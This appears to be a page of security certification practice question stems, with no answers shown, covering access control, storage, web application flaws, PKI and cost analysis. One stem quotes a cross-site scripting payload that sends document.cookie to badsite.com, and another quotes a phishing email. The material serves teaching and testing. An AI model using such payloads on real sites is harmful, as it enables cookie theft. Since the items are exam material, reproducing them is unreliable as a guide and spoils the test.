Test

An administrator wants to enable policy based flexible mandatory access controls on an open source OS to prevent abnormal application modifications or executions.

 

Which of the following would BEST accomplish this?

Company ABC’s SAN is nearing capacity, and will cause costly downtimes if servers run out disk space.

 

Which of the following is a more cost effective alternative to buying a new SAN?

 

A systems administrator establishes a CIFS share on a UNIX device to share data to Windows systems. The security authentication on the Windows domain is set to the highest level. Windows users are stating that they cannot authenticate to the UNIX share.

 

Which of the following settings on the UNIX server would correct this problem?

A security architect is designing a new infrastructure using both type 1 and type 2 virtual machines. In addition to the normal complement of security controls (e.g. antivirus, host hardening, HIPS/NIDS) the security architect needs to implement a mechanism to securely store cryptographic keys used to sign code and code modules on the VMs.

 

Which of the following will meet this goal without requiring any hardware pass-through implementations?

A user has a laptop configured with multiple operating system installations. The operating systems are all installed on a single SSD, but each has its own partition and logical volume.

 

Which of the following is the BEST way to ensure confidentiality of individual operating system data?

After being notified of an issue with the online shopping cart, where customers are able to arbitrarily change the price of listed items, a programmer analyzes the following piece of code used by a web based shopping cart.

 

SELECT ITEM FROM CART WHERE ITEM=ADDSLASHES($USERINPUT);

 

The programmer found that every time a user adds an item to the cart, a temporary file is created on the web server /tmp directory. The temporary file has a name which is generated by concatenating the content of the $USERINPUT variable and a timestamp in the form of MMDDYYYY, (e.g. smartphone-12-25-2013.tmp) containing the price of the item being purchased.

 

Which of the following is MOST likely being exploited to manipulate the price of a shopping cart’s items?

The administrator is troubleshooting availability issues on an FCoE-based storage array that uses deduplication. The single controller in the storage array has failed, so the administrator wants to move the drives to a storage array from a different manufacturer in order to access the data.

 

Which of the following issues may potentially occur?

Joe, a hacker, has discovered he can specifically craft a webpage that when viewed in a browser crashes the browser and then allows him to gain remote code execution in the context of the victim’s privilege level. The browser crashes due to an exception error when a heap memory that is unused is accessed.

 

Which of the following BEST describes the application issue?

A developer is determining the best way to improve security within the code being developed. The developer is focusing on input fields where customers enter their credit card details.

 

Which of the following techniques, if implemented in the code, would be the MOST effective in protecting the fields from malformed input?

A penetration tester is assessing a mobile banking application. Man-in-the-middle attempts via a HTTP intercepting proxy are failing with SSL errors.

 

Which of the following controls has likely been implemented by the developers?

A system administrator needs to meet the maximum amount of security goals for a new DNS infrastructure. The administrator deploys DNSSEC extensions to the domain names and infrastructure.

 

Which of the following security goals does this meet? (Select TWO).

The risk manager is reviewing a report which identifies a requirement to keep a business critical legacy system operational for the next two years. The legacy system is out of support because the vendor and security patches are no longer released. Additionally, this is a proprietary embedded system and little is documented and known about it.

 

Which of the following should the Information Technology department implement to reduce the security risk from a compromise of this system?

 

An organization would like to allow employees to use their network username and password to access a third-party service. The company is using Active Directory Federated Services for their directory service.

 

Which of the following should the company ensure is supported by the third party? (Select TWO).

An extensible commercial software system was upgraded to the next minor release version to patch a security vulnerability. After the upgrade, an unauthorized intrusion into the system was detected. The software vendor is called in to troubleshoot the issue and reports that all core components were updated properly.

 

Which of the following has been overlooked in securing the system? (Select TWO).

A forensic analyst works for an e-discovery firm where several gigabytes of data are processed daily. While the business is lucrative, they do not have the resources or the scalability to adequately serve their clients.

 

Since it is an e-discovery firm where chain of custody is important, which of the following scenarios should they consider?

A company is deploying a new iSCSI-based SAN.

 

The requirements are as follows:

 - SAN nodes must authenticate each other.

 - Shared keys must NOT be used.

 - Do NOT use encryption in order to gain performance.

 

Which of the following design specifications meet all the requirements? (Select TWO).

 

Company XYZ provides hosting services for hundreds of companies across multiple industries including healthcare, education, and manufacturing. The security architect for company XYZ is reviewing a vendor proposal to reduce company XYZ’s hardware costs by combining multiple physical hosts through the use of virtualization technologies. The security architect notes concerns about data separation, confidentiality, regulatory requirements concerning PII, and administrative complexity on the proposal.

 

Which of the following BEST describes the core concerns of the security architect?

 

A university requires a significant increase in web and database server resources for one week, twice a year, to handle student registration. The web servers remain idle for the rest of the year.

 

Which of the following is the MOST cost effective way for the university to securely handle student registration?

Due to a new regulatory requirement, ABC Company must now encrypt all WAN transmissions. When speaking with the network administrator, the security administrator learns that the existing routers have the minimum processing power to do the required level of encryption.

 

Which of the following solutions minimizes the performance impact on the router?

A security administrator was doing a packet capture and noticed a system communicating with an unauthorized address within the 2001::/32 prefix. The network administrator confirms there is no IPv6 routing into or out of the network.

 

Which of the following is the BEST course of action?

In order to reduce costs and improve employee satisfaction, a large corporation is creating a BYOD policy. It will allow access to email and remote connections to the corporate enterprise from personal devices; provided they are on an approved device list.

 

Which of the following security measures would be MOST effective in securing the enterprise under the new policy? (Select TWO).

A security administrator is tasked with implementing two-factor authentication for the company VP+The VPN is currently configured to authenticate VPN users against a backend RADIUS server. New company policies require a second factor of authentication, and the Information Security Officer has selected PKI as the second factor.

 

Which of the following should the security administrator configure and implement on the VPN concentrator to implement the second factor and ensure that no error messages are displayed to the user during the VPN connection? (Select TWO).

Ann, a software developer, wants to publish her newly developed software to an online store. Ann wants to ensure that the software will not be modified by a third party or end users before being installed on mobile devices.

 

Which of the following should Ann implement to stop modified copies of her software from running on mobile devices?

Two separate companies are in the process of integrating their authentication infrastructure into a unified single sign-on system. Currently, both companies use an AD backend and two factor authentication using TOT+The system administrators have configured a trust relationship between the authentication backend to ensure proper process flow.

 

How should the employees request access to shared resources before the authentication integration is complete?

 

An industry organization has implemented a system to allow trusted authentication between all of its partners. The system consists of a web of trusted RADIUS servers communicating over the Internet. An attacker was able to set up a malicious server and conduct a successful man-inthemiddle attack.

 

Which of the following controls should be implemented to mitigate the attack in the future?

Joe, the Chief Executive Officer (CEO), was an Information security professor and a Subject Matter Expert for over 20 years. He has designed a network defense method which he says is significantly better than prominent international standards. He has recommended that the company use his cryptographic method.

 

Which of the following methodologies should be adopted?

 

 

Which of the following BEST constitutes the basis for protecting VMs from attacks from other VMs hosted on the same physical platform?

Two universities are making their 802.11n wireless networks available to the other university’s students. The infrastructure will pass the student’s credentials back to the home school for authentication via the Internet.

 

The requirements are:

 

 - Mutual authentication of clients and authentication server

 - The design should not limit connection speeds

 - Authentication must be delegated to the home school

 - No passwords should be sent unencrypted

 

The following design was implemented:

 

 - WPA2 Enterprise using EAP-PEAP-MSCHAPv2 will be used for wireless security

 - RADIUS proxy servers will be used to forward authentication requests to the home school

 - The RADIUS servers will have certificates from a common public certificate authority

 - A strong shared secret will be used for RADIUS server authentication

 

Which of the following security considerations should be added to the design?

A company with 2000 workstations is considering purchasing a HIPS to minimize the impact of a system compromise from malware. Currently, the company projects a total cost of $50,000 for the next three years responding to and eradicating workstation malware. The Information Security Officer (ISO) has received three quotes from different companies that provide HIPS.

 

The first quote requires a $10,000 one-time fee, annual cost of $6 per workstation, and a 10% annual support fee based on the number of workstations.

 

The second quote requires a $15,000 one-time fee, an annual cost of $5 per workstation, and a 12% annual fee based on the number of workstations.

 

The third quote has no one-time fee, an annual cost of $8 per workstation, and a 15% annual fee based on the number of workstations.

 

Which solution should the company select if the contract is only valid for three years?

 

Customers are receiving emails containing a link to malicious software. These emails are subverting spam filters. The email reads as follows:

 

Delivered-To: customer@example.com

Received: by 10.14.120.205 Mon, 1 Nov 2010 11:15:24 -0700 (PDT)

Received: by 10.231.31.193 Mon, 01 Nov 2010 11:15:23 -0700 (PDT)

Return-Path: <IT@company.com>

Received: from 127.0.0.1 for <customer@example.com>; Mon, 1 Nov 2010 13:15:14 -0500 (envelope-from <IT@company.com>)

Received: by smtpex.example.com (SMTP READY) with ESMTP (AIO); Mon, 01 Nov 2010 13:15:14 -0500

Received: from 172.18.45.122 by 192.168.2.55; Mon, 1 Nov 2010 13:15:14 -0500

From: Company <IT@Company.com>

To: "customer@example.com" <customer@example.com>

Date: Mon, 1 Nov 2010 13:15:11 -0500

Subject: New Insurance Application

Thread-Topic: New Insurance Application

 

Please download and install software from the site below to maintain full access to your account.

 

 

________________________________

 

Additional information:

The authorized mail servers IPs are 192.168.2.10 and 192.168.2.11.

The network’s subnet is 192.168.2.0/25.

 

Which of the following are the MOST appropriate courses of action a security administrator could take to eliminate this risk? (Select TWO).

 

A security administrator notices the following line in a server's security log:

 

<input name='credentials' type='TEXT' value='" + request.getParameter('><script>document.location='http://badsite.com/?q='document.cookie</scri
pt>') + "';

 

The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server.

 

Which of the following should the security administrator implement to prevent this particular attack?

 

A web developer is responsible for a simple web application that books holiday accommodations. The front-facing web server offers an HTML form, which asks for a user’s age. This input gets placed into a signed integer variable and is then checked to ensure that the user is in the adult age range.

 

Users have reported that the website is not functioning correctly. The web developer has inspected log files and sees that a very large number (in the billions) was submitted just before the issue started occurring.

 

Which of the following is the MOST likely situation that has occurred?

 

A company has decided to change its current business direction and refocus on core business. Consequently, several company sub-businesses are in the process of being sold-off. A security consultant has been engaged to advise on residual information security concerns with a demerger.

 

From a high-level perspective, which of the following BEST provides the procedure that the consultant should follow?

It has come to the IT administrator’s attention that the “post your comment” field on the company blog page has been exploited, resulting in cross-site scripting attacks against customers reading the blog.

 

Which of the following would be the MOST effective at preventing the “post your comment” field from being exploited?

 

A business unit of a large enterprise has outsourced the hosting and development of a new external website which will be accessed by premium customers, in order to speed up the time to market timeline.

 

Which of the following is the MOST appropriate?

An administrator is tasked with securing several website domains on a web server. The administrator elects to secure www.example.com, mail.example.org, archive.example.com, and www.example.org with the same certificate.

 

Which of the following would allow the administrator to secure those domains with a single issued certificate?

 

An administrator wishes to replace a legacy clinical software product as it has become a security risk. The legacy product generates $10,000 in revenue a month. The new software product has an initial cost of $180,000 and a yearly maintenance of $2,000 after the first year. However, it will generate $15,000 in revenue per month and be more secure.

 

How many years until there is a return on investment for this new package?

 

A large company is preparing to merge with a smaller company. The smaller company has been very profitable, but the smaller company’s main applications were created in-house.

 

Which of the following actions should the large company’s security administrator take in preparation for the merger?

 

Which of the following technologies prevents an unauthorized HBA from viewing iSCSI target information?

 

Company ABC is hiring customer service representatives from Company XY+The representatives reside at Company XYZ’s headquarters.

 

Which of the following BEST prevents Company XYZ representatives from gaining access to unauthorized Company ABC systems?

 

A Chief Information Security Officer (CISO) has requested that a SIEM solution be implemented. The CISO wants to know upfront what the projected TCO would be before looking further into this concern.

 

Two vendor proposals have been received:

 

 - product-based solution which can be purchased by the pharmaceutical company.

 - Capital expenses to cover central log collectors, correlators, storage and management consoles expected to be $150,000.

 - Operational expenses are expected to be a 0.5 full time employee (FTE) to manage the solution, and 1 full time employee to respond to incidents per year.

 

 - managed service-based solution which can be the outsourcer for the pharmaceutical company’s needs.

 - Bundled offering expected to be $100,000 per year.

 - Operational expenses for the pharmaceutical company to partner with the vendor are expected to be a 0.5 FTE per year.

 - Internal employee costs are averaged to be $80,000 per year per FTE.

 

Based on calculating TCO of the two vendor proposals over a 5 year period, which of the following options is MOST accurate?

 

A popular commercial virtualization platform allows for the creation of virtual hardware. To virtual machines, this virtual hardware is indistinguishable from real hardware.

 

By implementing virtualized TPMs, which of the following trusted system concepts can be implemented?

 

A port in a fibre channel switch failed, causing a costly downtime on the company’s primary website.

 

Which of the following is the MOST likely cause of the downtime?

 

An internal development team has migrated away from Waterfall development to use Agile development. Overall, this has been viewed as a successful initiative by the stakeholders as it has improved time-to-market. However, some staff within the security team have contended that Agile development is not secure.

 

Which of the following is the MOST accurate statement?

 

A vulnerability scanner report shows that a client-server host monitoring solution operating in the credit card corporate environment is managing SSL sessions with a weak algorithm which does not meet corporate policy.

 

Which of the following are true statements? (Select TWO).

 

An enterprise must ensure that all devices that connect to its networks have been previously approved. The solution must support dual factor mutual authentication with strong identity assurance. In order to reduce costs and administrative overhead, the security architect wants to outsource identity proofing and second factor digital delivery to the third party.

 

Which of the following solutions will address the enterprise requirements?